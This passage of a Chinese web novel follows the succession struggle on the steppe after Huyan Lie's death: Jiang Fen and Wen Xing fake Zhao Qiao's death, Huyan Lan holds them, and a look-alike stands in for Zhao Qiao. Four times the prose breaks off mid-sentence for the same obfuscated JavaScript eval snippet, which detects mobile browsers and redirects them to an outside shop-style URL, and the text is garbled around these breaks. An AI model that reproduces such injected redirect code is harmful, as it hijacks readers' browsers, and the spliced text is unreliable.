“我不允许我的父王操劳如此之久后,几十年风风雨雨化作的心血浇灌了草原的儿女,而自己亲生的孩子却根本找不到地方祭奠他英武的魂魄。” 本来,在场大多数人都认为是呼延阑等不及想当大王了,才会背地里杀死了自己的父亲。 因为这段话,反而让他们对这位皇子的态度发生了转变。 但呼延烈的死亡绝对不是意外,明明几天前还是一副强健的体格,偏偏等到现在,已经是一捧黄土了。 他的死,十有八九是一场蓄意的谋杀。 凶手是谁,目前无法盖棺定论。 但原因,无非便是因为王位的传承。 只是遗憾,他们这么多其他部落的首领,其实都是跟着呼延烈上刀山下火海,一路过关斩将杀过来的。 他们之间不可能没有真情实意的兄弟之情,只不过如今各自有了各自牵挂的东西,他们不敢为了一个已经死去的人向如今势头正盛的人讨要说法。 他们不敢这么想,是因为他们曾经大多数是支持王后的那一派。 如今看来,对于呼延阑,王位不过是唾手可得的掌中之物罢了。 为了保全自己的利益,在呼延阑的眼皮子底下,他们只能夹紧尾巴做人,生怕呼延阑哪天不高兴了又找上了他们。 然而,他们不敢找呼延阑麻烦,自然有的是人犯这个蠢事。 这个人,恰巧就是他那不知好歹的舅舅——须卜真。 就在呼延烈的棺材被抬回去后没多久,他便兀自找到站在角落一言不发的呼延阑。 “真没想到,你竟然没有继承你母亲的懦弱,反倒是像我一般有勇有谋。” 呼延阑听到这话,面上表情明显带着一些错愕,“舅舅在说些什么?” 须卜真见呼延阑不承认,一手勾住他的肩膀,“别抵赖了,现在外面谁不知道是你杀了自己的父亲?” 同时,他还不忘补充,“到时候当上了君王,别忘了给你的舅舅一些恩惠,毕竟,有我,你的母族才会一直支持你。” 他这话说得呼延阑莫名觉得有些好笑,且不说他的母族是否真的支持了自己,单单就他今日在这里的地位而言,与母族的支持,关系并不大。 如此一来,须卜真跟他攀亲附戚更像是一种威胁和嘲讽。 呼延阑正想要反驳他,可紧接着,须卜真便向他提出了一个无礼且自大的要求。 “上次,你说芪朝派过来当媒人的那个姑娘,我是真喜欢,既然你要报答我这个舅舅,不如把她给了我吧。” “舅舅……”呼延阑语气明显顿了一下,“我难道没有说过,他是芪朝大官的妻子?” 须卜真眉头皱了一下,但显然没把这件事放在心上,“之前你去京城,他们的皇帝对你都是毕恭毕敬的,你都要当胡人的君王了,他再怎么样都会敬重你几分的。” 说完,根本不等呼延阑提出拒绝,他便重重地拍了一下呼延阑的肩膀,附身到他的耳边,加重了他的威胁,“我的好侄儿,可千万别辜负舅舅的期待啊。” 呼延阑眯了一下眼睛,本想直接转身离开,可一个突如其来的想法占据了他的心。 姜汾和闻行前段时间确实对自己的掌控太多了,就算自己再怎么想和赵峤在一起,也无法彻底接受自己会被两个外乡人掌控这么长的时间。 想到这儿,呼延阑嘴角似有似无地咧开一个笑容,对着须卜真承诺道:“好吧,今天晚上,我会派人带着你偷偷去她的穹庐。” 闻言,须卜真对这个侄子的态度欢喜多了。 他根本就没有发现,呼延阑呼延阑看向他的眼神里多了几分无语和恶心。 为何呼延阑会选在半夜让须卜真行动呢? 原因不过是,为了重新迎合风水,他们命令一位预备祭司顶上了王后的职责,而这位新任祭司,选择了在半夜让呼延烈再出殡一次。 到时候,呼延阑肯定会出席的。 所以,他完全不会在此地,须卜真所做的任何事,只要他不承认,就都和他无关。 夜黑风高之时,呼延阑站立在埋葬呼延烈的坟墓前。 此时,其他部落的首领都看着他沉默无言的样子,以为他是在对这位已经逝去的父亲哀悼。 于是乎,他们也纷纷学着呼延阑的样子,为这位曾经确实帮助了他们不少的君王默哀。 他们不知道的是,呼延阑在拖延时间,他要掐着点回去,见证一出好戏。 等到月上西楼了,他才从散发的思绪中抽出身来,此时,他看着墓碑上自己父亲的名字,已经波澜不惊了。 呼延阑回过头看身后的众位,心中腹诽:如此认真的模样,看起来跟驯羊的狼狗一样。 他微微举起手,对着他们宣布:“我们回去吧。” 等一群人浩浩荡荡的回去后,呼延阑当即便让他们都散了,然后自己有意无意地偷偷往姜汾的穹庐靠。 没想到的是,他还没有靠近,只是在那顶穹庐前的一个小土坡上站着,一张苍白无比的人脸便以迅雷不及掩耳之势出现在了他的眼前。 本来他是不害怕的,但那张人脸突然之间从姜汾的样貌变换成了另一个完全不认识的模样。 他一下子便如鲠在喉,不知道说些什么。 就在他准备强行压制住内心的恐惧对着眼前这人谈上两句时,他突然在月光照耀之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482450|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看到了自己背后又出现了一个人影。 退无可退,避不可避。 呼延阑甚至都还没转过身看到那个人影到底是谁,那个人影便一棒给自己敲晕了。 等他再次醒来之时,外面正闹着吵着。 刚处理了一堆糟心事,呼延阑脑袋里像是有一团纠缠不清的荆棘缠绕着他,痛得他忍不住暗骂一声。 他也想对外面的人坐视不管,可父王已经去世,作为他现存血脉之中年龄最大的皇子,他必须负责任地处理好当前的事。 呼延阑刚缓缓从床上起来,好不容易走到外面询问大家发生了什么情况,便发现一件震惊不已的事。 昨天还跟自己谈笑风生的舅舅,今天便被众人五花大绑抓了起来。 难道是他昨晚去调戏姜汾的事情被发现了? 那也还好,罪不至死。 有人看到了呼延阑从穹庐里面走了出来,于是谄媚地向他走了过来。 “大王,昨晚被敲了脑袋,今天身子可恢复好了?” 自己被人暗算的事这个人怎么会晓得? 见呼延阑一脸狐疑的样子,那人赶忙解释。 “从京城来的那位姜姑娘,昨天夜里看见须卜真那个老家伙拿着棒子想要弄死你,还好她发现了,让随身的仆从救下了你。” “他们可是连夜赶了过来,把须卜真交给了我们,就是害怕自己耽误了事。我们想了很久,往后如今是个不中用的人了,希望你以后能够担起领导胡人的担子。” 须卜真再怎么色迷心窍,也不至于会陷自己于死地,此事定然是有蹊跷的。 呼延阑敷衍了那人几句,便特地绕过人群,赶在众人发现自己之前,再一次去到了姜汾的穹庐。 他掀开帘子走进去,看到姜汾正在打包行李,还没等他开口,姜汾便操着一副嘲讽的语气道:“小东西,玩错人了吧。” 看起来对昨天的事丝毫不在意,这反倒是让呼延阑感到心烦意乱。 “昨晚到底发生了什么事?” “装什么装,人面兽心的人我见过一个比你演的更好的,现在他还不是自己乖乖地在我的掌控之中,少花点心思算计我。” 姜汾话里话外丝毫不遮掩自己的不耐烦,到此,呼延阑才试探性的开口:“所以,你都知道是我做的?” “也不算。”姜汾停住了收拾的动作,“毕竟有你舅舅艺高人胆大的成分在。” 就在这时,闻行不慌不忙走了进来,晃眼一看,他的脸明明看起来和易容之后一模一样,可仔细一看,便能发现轻微的差别。 “你眉骨的位置看起来偏高了一点。” 对于呼延阑的话,闻行不置可否,还意味深长的回复了一句:“是吗?自己改的,看来我的技术还不是特别的熟练。” 他的话瞬间让呼延阑心都提起来半截,“你怎么会这易容之数?” 这话问了,其实也基本上等于白问。 昨天夜里须卜真来到了姜汾的穹庐,闻行作为姜汾的丈夫,难道不会制服这个登徒浪子? 当初自己就是让须卜真给闻行易容的。 49. 假死 所以,须卜真来到这里,多半是遭了老大罪之后才被带走的。 如此一来,其实自己的目的也算是达成了。 不但威慑了须卜真,而且还让姜汾和闻行吃到了一定的苦头,自己还可以把关系摘得一干二净。 即使姜汾再怎么怀疑自己也无济于事,毕竟,他派去给须卜真带路的人是一个签了死契的下人,无论再怎么问,是绝对不会暴露自己的。 只是,须卜真被指认成偷袭自己的人,难免到时候会受到点酷刑。 正当呼延阑沉浸在自己的想法中不可自拔时,姜汾的一句话突然叫醒了他。 “听说你当下一任君王的事已经稳了,提前恭喜你这个人渣了。” 连自己都不知道的消息,姜汾怎么会晓得。 等等…… 呼延阑忽然之间觉得脑袋又是一阵剧痛,他突然想起,刚刚在外面,那个对自己奉承献媚的人,好像就是叫的自己大王。 他还以为是那人为了谄媚称呼都不会叫了,如此看来,昨晚自己晕倒之后,定然是发生了许多事情。 “你们……” 呼延阑正想开口与姜汾他们多交流一下,却只见姜汾淡淡地说道:“我们挑了个良辰吉日,准备三日后启程返回京城,大王,你不会不允许吧。” 姜汾故意把大王这两个字说的很慢,就好像是特地加上了些什么音调,让呼延阑不由得脸色难看起来。 但他还是得装模作样,“赵峤还没有完全恢复好,你们突兀地走了,我怕她一难受,又发生什么不可挽回的事情。” 岂料姜汾却很坦然,“真正让她难受的事情可不是我们造成的。” 她今天就好像是带了尖刺一般,看来自己昨天的行为确实是过火了些。 他刚想就此道歉,可闻行便像一堵铜墙铁壁挡在他的面前,“呼延阑,请回吧。” 注意到了闻行的存在,呼延阑方才想起了些不愉快的前尘往事,这下才突然明白了为何他们对自己的态度转变的如此之快。 闻行与呼延阑的母族仇怨颇深。 自己一刀砍死了他的师父,他又借着醉意直接杀了自己的外爷。 尽管自己可以为了权利罔顾任何事情,可再怎么说,他们俩除了合作关系之外,就一直是仇敌。 仇敌在某一天晚上,用不光彩的手段准备伤害他的妻子,这件事,无论如何都不会让人爽快。 想到这儿,呼延阑自觉心虚,先行离开了。 见呼延阑头也不回地离开了,姜汾和闻行这才开始实施他们的计划。 按照他们的打算,今天夜里先把赵峤送出去,然后他们再以一个瞒天过海的理由,告知呼延阑,赵峤已经因故离世。 让姜汾和闻行来说这件事是完全不可能的,毫无疑问,这会让呼延阑把注意力彻底引向他们。 所以,这个时候,他们极其需要一个替罪羔羊。 而非要从当前的处境中选择一个替他们顶罪的人,须卜真便是呼延阑亲自送上门来的最佳人选。 首先,他因为被检举刺杀呼延阑而获罪,已经引起了匈奴中大部分人的怀疑。 其次,以呼延阑的性格,一个对自己无用甚至会拖累自己的舅舅,还不如一个素昧平生的陌生人。 计划往往是想来容易做起来难的。 姜汾给赵峤喂了解药,大中午的时候,她就已经醒过来了。可她已经在床上躺了两三天了,以至于直到到了晚上逃跑的时候,她还是虚弱无比。 他们看到赵峤的情况,也是害怕她不能安全走出这个地方,于是耐着性子劝:“不如我们再歇上一天,这事总归还是急不得的。” 赵峤却是对自己的身体状况不以为意,当初她能够同意以自己身体为代价来伪造中了冰蚕毒,来让匈奴之中相互产生猜忌,就说明,她为了离开这里,可以说是不择手段。 今天她醒了,只要呼延阑想,她的情况就会在不久之后传到她的耳朵里。 如果她还不抓紧机会逃走,接下来只会是陷入无穷无尽的黑暗。 丢了西瓜捡芝麻的教训,她从小到大吃的够多了。 不顾姜汾和闻行的劝阻,赵峤在今晚夜黑风高之时,带着一个身形瘦小动作却格外灵活的仆从,开启了二十年来的第一次叛逃。 那个仆从是闻行早早安排在匈奴内部的人,本想让他和驻守边疆的军队接应,但此刻闻行都来了,赵峤也必须要安全地离开,便让这位仆从亲自护送赵峤。 从小被当做大家闺秀养着,赵峤的最高目的是嫁给一个好夫君,让赵家欣欣向荣的事业锦上添花。 她一直都循规蹈矩的活着,日复一日,年复一年,直到自己嫁出去的那一刻。 也确实,临近出嫁时,赵峤的性情大变,让很多人都忌惮了两分。 但这有什么用呢? 她还不是得按照他们的安排,来到一个人生地不熟的地方任人宰割。 她现在不想顺从,也不想抵抗,她只想能够逃离。 这是一种在无能为力的情况下,不想麻木的人所选择的最佳自救方式。 …… 亲眼看到赵峤从后山一条曲折蜿蜒的小路离开后,姜汾就得用她那满腹经纶的才学想尽方法拖延呼延阑了。 他们今天晚上的任务,是拖延出足够的时间,让赵峤能够抵达大雪山,找到一个可以隐藏自己的地方。 他们并没想一晚上就能完全让赵峤离开,毕竟,大雪山烈风呼嚎的环境,足以让一个瘦弱的人在夜黑风高的夜晚冻死。 他们也不急着与呼延阑会面。 昨天呼延阑被他们方了面子之后,以他高傲的性子,十天半个月都不会来找他们的。 除非…… 他会偷偷跑去看赵峤,如果发现赵峤不在了,如果他发现赵峤突然之间消失了踪迹,自然而然,能询问的人便只有他们。 果不其然,夜里繁星闪烁时,一个高大的黑影便开始在他们的穹庐前游荡。 姜汾对闻行使眼色,闻行心下了然,便主动掀开帘子出去一看。 这一看,便和满怀心事的呼延阑撞了个满怀。 姜汾听见两人吃痛地叫了一声后,装作一脸迷糊地起来查看。 “诶呀,怎么是你啊?你来干什么啊?不知道不能随便闯别人小夫妻的房间吗?” 尽管姜汾说话时的语气拿捏得很到位,疑问中又带了点怒气,但还是让闻行差点笑了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518563|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜汾本意是想抬头看闻行的反应,没想到却看到了他嘴角有意无意噙着的笑,害怕露馅,赶忙游走到他的身边,趁着呼延阑不注意,掐了他一把。 闻行冲着她做出了一个无辜的表情,姜汾却是盯着呼延阑看,只留了一个背影给他。 其实,呼延阑也并不是眼瞎,他看得见这两人的反应,却将这种反应错误地理解成了对他的讨厌。 现在的他,已经发现赵峤不在了,虽然已经派人出去找了,但他还是希望能从他们这里获得一些更直接的线索。 所以,他强忍着内心中那一点点奇怪的感觉,压着声音问:“二位今天看到赵峤了吗?” 姜汾先认真思索一番,然后再用沉重的声音告知他:“昨日里,你舅舅来这边的时候,其实是先冲撞了赵峤,然后再被我们制服的。” “赵峤昨天下午慢慢苏醒之后,本来一直在养身子,但因为须卜真这么一遭,又彻底晕了过去,我们一直照顾她,她现在应该还在穹庐里吧。” 被姜汾这么一说,呼延阑先是震惊,然后迟疑道:“赵峤醒了,为什么不告诉我呢?” “你让赵峤不告诉她的丈夫,反而告诉你这个小叔子??” 这样一问,堵得呼延阑无话可说。 “但赵峤不在了,我找不到她。” “怎么会这样?” 姜汾及时提供了紧张的情绪,“你们去找了吗?” “找了,但还没有找到。” 闻行摸着姜汾的脑袋,像是在安抚她不知所措的样子,“什么时候发现她不在的?” “一刻钟之前,发现她不在了以后,我就立马来找你们了。” “闻行,她怎么会不在穹庐里面呢?” 姜汾眉头皱在一处,抓着闻行的衣服便着急道:“赵峤那么要强的人,不会是趁着我们不注意自寻短见了吧,我们快些去找吧。” “也好。”闻行点点头,“你们的人去哪里找了?” 呼延阑指了一个方向,闻行见状,便说道:“那我会派我们芪朝的人,往另一个方向找。” 说罢,两人便匆匆离开,去喊他们的人了,根本不给呼延阑留下开口的机会。 见两人这种一唱一和的样子,就像是赶着场子完成了一场戏一样。 本该感受到焦急的呼延阑,却因他们两人的行为而产生了一种猜测:应该是他们两个人再次与赵峤合伙进行了一场谋划。 就像上一次的冰蚕毒,这一次应该也是假的。 然而,宁可信其有,不可信其无,呼延阑本着宁愿被戏耍的心态,再次投入了寻找之中。 他以为只要配合着完成了这场戏就好了。 呼延烈已经死了,他呼延阑会是胡人中最尊贵的人,只要演完这场戏,就能再次见到赵峤了。 可天不遂人愿。 “大王,我们找到了一具女尸,请大王过去辨认。” 自从各个部落的人宣称自己支持呼延阑后,大多数人都选择对他改换了称呼,称呼他为大王。 “是姜汾他们找到的吗?” 只要手下承认是他们找到的,自己就有理由怀疑,是他们在一起哄骗自己。 “回大王……” 50. 替身 “大王,是我找到的,我让他们先看着那具女尸,然后赶紧来给您报信了。” 这人显然看不清呼延阑脸上阴郁的神色,一脸笑嘻嘻的样子,看起来十分希望因此获得呼延阑的奖赏。 呼延阑正处在气头上,看着他不忧虑反而满脸笑意的样子,咬牙切齿地把他叫了过来。 “我来了,主子,您……” 话音未落,呼延阑便直接一巴掌扇了过去,趁着力道,又踢了他一脚。 那人被踢得人仰马翻,嘴角也被删出了血迹。 虽然他不明白呼延阑为什么要发这么大的火,但凭着他这么多年当狗腿子的经验,下意识便知道自己一定是说了什么不该说的话,赶紧跪下来磕头认错。 呼延阑根本无暇顾及他,留给她一个冷眼后便匆匆离开。 等到他赶到现场时,留给他的便是一具泡得全身发肿的女尸。不知道是谁没收住力,女尸上的肿泡,流了满地的脓水。 在场所有人,没有一个敢靠近这具让人犯恶心的尸体。 呼延阑赶紧走了过去,他似乎是闻不到任何恶臭一般,愣在原地,一动不动。 他们不敢上前去看,等到姜汾和闻行急匆匆赶过来时,姜汾三两下便把呼延阑给推开了。 此时,距离呼延阑距离极为接近的姜汾,才注意到他发红的鼻头和眼底噙满的泪水。 姜汾本想是把他推开之后,撕心裂肺地演一出戏,可呼延阑却立马抓住她,不断哽咽着说:“为什么……这一定是假的……” 他泣不成声的哭诉被大家看在眼里。 姜汾险些为此动容,可转念一想,他难过,难道此刻躲在荒郊野岭的赵峤就好过吗? 于是乎,姜汾转头扑向了那具女尸,泣不成声道:“我的赵峤啊,你怎么死臭水沟里了,你要死也得换个地方死啊!” 话说得糙了点,但好就好在,姜汾跟在场的匈奴人习俗完全不相同,他们都不了解芪朝具体叫丧的话术,只知道姜汾哭得快晕了过去。 闻行及时拉起了躺在地上入戏太深的姜汾,把她搂进怀里,拍拍她起伏的脊背,用两人才能听到的声音说道:“不要为逝去之人痛哭流涕,不要为在世无缘之人伤心欲绝。” 闻行的话其实重点也不在前半句,而是后半句的再世无缘之人。 这具女尸是他们昨天夜里去草原上找到的,当时她就躺在一个小水坑里,路过的牛羊随随便便就可以踩一脚。 姜汾给她验了伤,并没有其他外伤致死的痕迹,脸颊也没有凹陷,说明不是饿死的。在这个物资贫瘠的时代,基本上就可以认定因病去世的了。 再注意看身形,的确与赵峤是大差不差的,最为重要的一点在于,这具女尸的脸已经被牛羊彻底踩烂了,根本无法辨认是谁。 可以说,这具女尸在任何方面都和他们所需要的尸体完全匹配。 但大家还是不忍心。 这具女尸看起来还年轻,花儿一般的年纪便命丧草原,成为可以任野鸟啄食的枯骨一副。 就算遇到了他们,也只是被他们利用来顶替别人而已。 即使会被风光大葬,却始终都在别人的阴影之下。 姜汾咬着牙让他们把这具女尸搬回去,却还是沉默着走了一路。 如果不是后来须卜真准备轻薄她,她可能会一晚上坐在床头不说话。 说起来荒谬,等到呼延阑不想骗赵峤了,赵峤已经在所有人的帮助下逃离了,他却像个傻子一样被大家骗得团团转。 呼延阑面对姜汾刚刚的哭嚎,什么话都没说,反倒是看到有人要挪动尸体时,才低声说了句:“不许动。” 起初,大家还没有听明白,呼延阑看着大家疑惑的样子,瞬间怒吼起来:“我说了不许动,所有人都去找,一家接着一户,把赵峤找出来。” 姜汾瞬间意识到可能会有一些不好的事情发生,赶紧上去把他劝住,“呼延阑,再怎么样,赵峤的尸体都需要下葬。” 可呼延阑根本不搭理她,等众人都被吓出一身冷汗后,他才缓缓开口: “来自芪朝的使臣们,你们的任务是送赵峤来到草原,现在她来了,却不在了,你们可不能随便离开。” “来人!”他明明是瘫坐在地上的,可大手一挥的时候却显得很有力量,“把这些使臣们请回去坐坐。” “呼延阑,你疯了?” 姜汾是明白闻行是不可能在匈奴中久留的,他是军队的中流砥柱,一时离开还好,要是真的像苏武一样被留在这里二三十年…… 那侯府的数百来号人怎么办?闻行的名声怎么办?他们几十年后被遣返时甚至都是无家可依、无处可去的。 正当她准备继续找呼延阑理论时,闻行却拉着她的衣袖,扯了两下,安抚道:“没事,山重水复疑无路。” 为了防止暴露身份,他说话声音很小,但落在姜汾的耳朵里,却是振聋发聩的的话语。 这是他们两个人,在如今的境地下,唯一的安慰。 接下来的几天里,他们甚至不被允许外出,每天只能待在穹庐里,相当于被变相地监禁起来了。 他们再也无法得到外界的消息,也无从得知赵峤到底跑到了多远的地方。 姜汾只能默默替她祈祷,希望她能够远走高飞,仗剑天涯。 可第四天起,看守他们的人明显放松了对他们的监管。不仅如此,他们所吃到的餐食,也肉眼可见地好了起来。 一股不祥的念头油然而生,姜汾和闻行两两对视,却不敢将自己的想法讲述出来。 如果最糟糕的情况应验了,那么呼延阑如今的怒火,很有可能会殃及池鱼。 第六天早上,呼延阑突然赦免了对他们的看守监禁,允许他们到处走动了。 这是在他们不祥的征兆下添油加醋,让他们更加怀疑自己的猜测是否成真了。 但还有另外一种情况,那便是呼延阑在故意玩弄他们的心态,想要用这种精神上的鏖战最后逼出他们的实话。 无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529172|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪一种,对姜汾这边的人都是不利的,所以无论如何,他们都不能主动开口投降,必须等呼延阑撑不下去的那一刻,等他主动来找他们。 第七天傍晚,风云四起,似有狂风暴雨即将席卷而来,地上青草已经开始不停晃动,似乎在为这种氛围上增添一丝紧张。 姜汾预感,呼延阑可能要出手了。 果不其然,没过多久,呼延阑的人便毕恭毕敬地前来姜汾的穹庐,请她和闻行去呼延阑那里一趟。 即使再怎么怀疑,也没有任何的实证。况且,在这种情况下,他们也没有理由拒绝呼延阑。 于是乎,他们二人还是相伴一起去了。 只是,令他们完全没想到的是,等他们掀开帘子走进去的那一刻,一位和赵峤几乎长得一模一样的人正坐在呼延阑的旁边。 难道赵峤跑了那么久,还是被人抓回来了吗? 这个想法在靠近呼延阑后便被抹除了。 坐在他身边的人,虽然与赵峤长相相似,但细看还是能够发现一些不同之处来。 比如,她的眼睛比赵峤大,但远远没有赵峤亮,她的面色很白,似乎是脂粉擦多了一般。 最为明显的差别是,眼前之人太过于温顺了,看起来像是能够对呼延阑百依百顺。 而赵峤自从被安排了这桩婚姻后,学到的第一个词,便是不顺从。无论是表面还是暗地里,她都没有完全顺从过呼延阑的意见。 这是那人最大的纰漏。 可呼延阑对这一切的差别可以说是嗤之以鼻,他只坚信自己看到的,眼前之人如果不是赵峤,怎么会和赵峤长得如此相似? 所以,此时此刻,他还是按照上座的位置让姜汾和闻行坐下。 两人正疑心其他,突然便坐下来听到了呼延阑说:“你们可以回去了。” 这话来得极其奇怪,他还没有宣布是否真的找回了赵峤,就十分突兀地甩出来了这句话,到让人觉得他是在故意隐瞒着什么。 “赵峤已经死……” 姜汾“死”的尾音都还没有说完,呼延阑便自顾自的打断了她,“赵峤不是在这的嘛?” “我们胡人,和你们芪朝一样,都有子承父业的传统,唯一不一样的是,我们还可以一并继承他们的妻妾。” “我大哥早就命丧黄泉,如今我即将继承大统,不应该让他的妻子再受苦受累,为了表示我对大哥的敬意,我愿意将赵峤封为我的王后,与我共享这草原风光。” 他说话这么久,完全不允许有人插入打断,姜汾眉头紧皱,虽是不悦,但也不能说些什么。 呼延阑赶他们赶得紧,要他们明天便走,像是迫不及待地想进行些什么事,也像是在欲盖弥彰地掩盖些什么。 他只是平静地告知了他们这件事,然后便让人把他们带出去。 在走出穹庐的前一刻,姜汾狐疑地回头看了一眼,却看到呼延阑直接一个巴掌向“赵峤”甩了过去。 “连这都装得不像,你还能做什么?” 51. 查清 今日早上乌云密布,狂风阵阵,果然如姜汾所料,下午最为闷热的时候,暴雨便猛烈地袭来了。 穹庐是匈奴人独有的创造,如同南方人的吊脚楼,可以完美排开阵阵雨水,避免房顶上积水成泽。 黄昏之时,黑暗还未完全吞噬本该存在的光明,趁着这么一点昏暗的光线,一道瘦弱的人影出现在泥泞的小路处。 此时暴雨将临,路上只有零零散散几个人还在收拾东西。大多数人,早就归家入睡了。 那个人影摇摇晃晃,尽捡着些偏僻一点的地方走,仿佛是只在夜晚出现的瓢虫,害怕被别人的光亮照到,害怕被发现。 可再怎么小心翼翼,人在路上走,总归是要留下一些脚印的。 这些脚印就是一个人存在的证据,只要有心人循着这些证据反复琢磨,没有一个人的踪迹可以被完全磨灭。 正当那个人影准备绕过一个大水坑转角向另一个方向走去时,突如其来一双大手紧紧捂住了她的嘴巴。 还没等她彻底反应过来,那只大手便直接一个手刀劈晕了自己。 再次醒来,她好不容易将不断模糊、晃动着的穹庐顶部辨认清晰,两道高大的人影便走到她的面前来,将她五花大绑起来。 她想叫喊出声音,那两人便直接用白布堵住了她的嘴巴,让她有口不能言。 做完了这些事,那两人便离开了,徒留她一个人待在这空空如也的房间。 正当她百无聊赖到了崩溃的程度,甚至在看周围的布置只感觉到恶心与不适时,又走进来两个人。 “让她腾出一张嘴巴说话吧。” 声音来自于一个女人,听起来温和且冷静。 她强忍着对周围景物的不适,半眯着眼睛抬起头看他们,这才发现她对这两个人并不陌生。 “你好,我是姜汾,我们今天见过。” 话音刚落,手腕处被绑了五圈粗麻绳的女人终于获得了半刻的解放。 她迟疑地摸了摸自己已经泛起淤青的手腕,然后用一种楚楚可怜的眼神看着把自己绑起来的幕后黑手,嗫嚅了两声终于还是没有说话。 “别用你这种眼神看着我们,我们风里雨里走过来的,这种眼神见多了,不会有什么心疼的感觉的。” 被姜汾这么一说,女人才面色难堪地收回眼底的波澜,闷着脑袋往角落里缩,一句话也不说。 见她这个样子,姜汾走到她的身边,蹲下身来,仔细端摩她的脸庞,“哪儿找的这么像的?” 料想到这人听不懂他们在说些什么,姜汾还特地带了一个懂两地语言的人全程跟进。 当瘫倒在地上的女人在听清楚姜汾对她说的话后,沉默了会儿,还是战战兢兢地问:“你为什么要这么问?” 姜汾知道这种人不死到临头是不会透露自己的任务的,于是直截了当对她说:“难道你身边没有一个人说过,你真的很像那位被配阴婚的皇子妃吗?” “那是一位从京城远道而来的美人,原本以为自己是和呼延阑定亲,虽然不情愿,但还是来了,结果没想到遇上这么一遭。” “后来经历了种种事情,一时之间想不开,便有了最坏的结果。不久之前,我们还在一起亲眼见证了她的尸体被埋葬。” 姜汾故意把话说得朦胧绰约,甚至是半真半假,就是在偷偷看女人的态度。 果不其然,女人在听到了这个故事后,虽然是有些愕然,但最终支支吾吾地还是没能说出什么有用的话来。 从这里来看,她便是知道这件事的。 “你的意思是,我不过是那个女人的替身?” 女人长久被绑了起来,导致当她迫切想要站起身来时,腿脚已经麻木到无法支持她起身。 她再次瘫软跌倒在地上,这让她在气势上就比他们要低上一截。 “我哪知道?” 姜汾用看白痴的眼神看着她,“我又不是呼延阑,我咋知道?” 知道自己根本不是眼前这两人的对手,女人也是个识时务者为俊杰的人,思来想去便放弃了开始的挣扎,老老实实交代道: “我本是须卜部落的人,没有名字,他们都叫我幺妹,家中贫困,最近家里的牛羊又染了病,全都埋了。他们一被掩埋,我们便没了生计。” “我又是家中最小的女儿,贩卖的时候是最容易脱手的,阿爹便打算将我交给人牙子。说来幸运,人牙子来领我的前一天,大王就来找我了,说只需要我扮演一个人就可以。” 须卜部落,毫无疑问便是须卜真统辖的部落。 呼延阑怎么会在这么短的时间里,准确从广袤无垠的草原上,从散落四方的牧民中,准确地找到她的? 极大概率是由于须卜真为了脱罪而提供的这一条消息,但问题就又浮现出来了,须卜真又是怎么未雨绸缪,提前就查到有这么一个跟赵峤长得十分相似的人呢? 就算是在无意之间看到的,他又怎么会知道,这个人会在以后的日子里产生如此之大的作用呢? 虽然是疑点重重,但姜汾明白不能问得再细了。 他们擅自把人捆过来,赌的就是呼延阑只要这个人活着,不求她到底会经历些什么。 可一旦绑久了,让这个人在呼延阑的视野里消失太久,呼延阑定然会疑心大作。 为了确保赵峤和他们所有人的安全,他们不能再进一步了。 姜汾正准备派人送幺妹回去,便突然想起来一件事,于是立即扭转即将离开的步伐,转过身来问:“你刚刚着急忙慌准备去哪儿呢?” 此话一出,原本再怎么卑微的幺妹至少能够不卑不亢地回答问题,此刻,她只能干瞪着眼睛,嘴巴鼓鼓也说不出个所以然来。 她反常的样子立即引起了姜汾的注意,姜汾直接一个转身,跨了两个大步来到她的面前,盯着她的眼睛一动不动。 姜汾的眼睛,眼黑远远多于眼白,她眼睛又大,离得近时,经常能从她的眼睛中看到自己的样子。 此时此刻,幺妹完全无法控制自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543865|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的眼睛,当双眼的目光汇集到姜汾的瞳孔间时,她无意之中看到了自己肉眼可见的慌张与迷茫。 这与姜汾的冷静沉着形成了一个鲜明的对比。 她嘴巴里确实含住了一件不能说出来的脏事,但她又确实害怕眼前的姜汾。 像是一头随时随地都能够扑上来将她啮咬啃食干净的白狮。 直到一把冰冷的匕首抵在了她的脖颈处,幺妹才透过这冰凉刺骨的触觉,从姜汾的威压之中缓过神来。 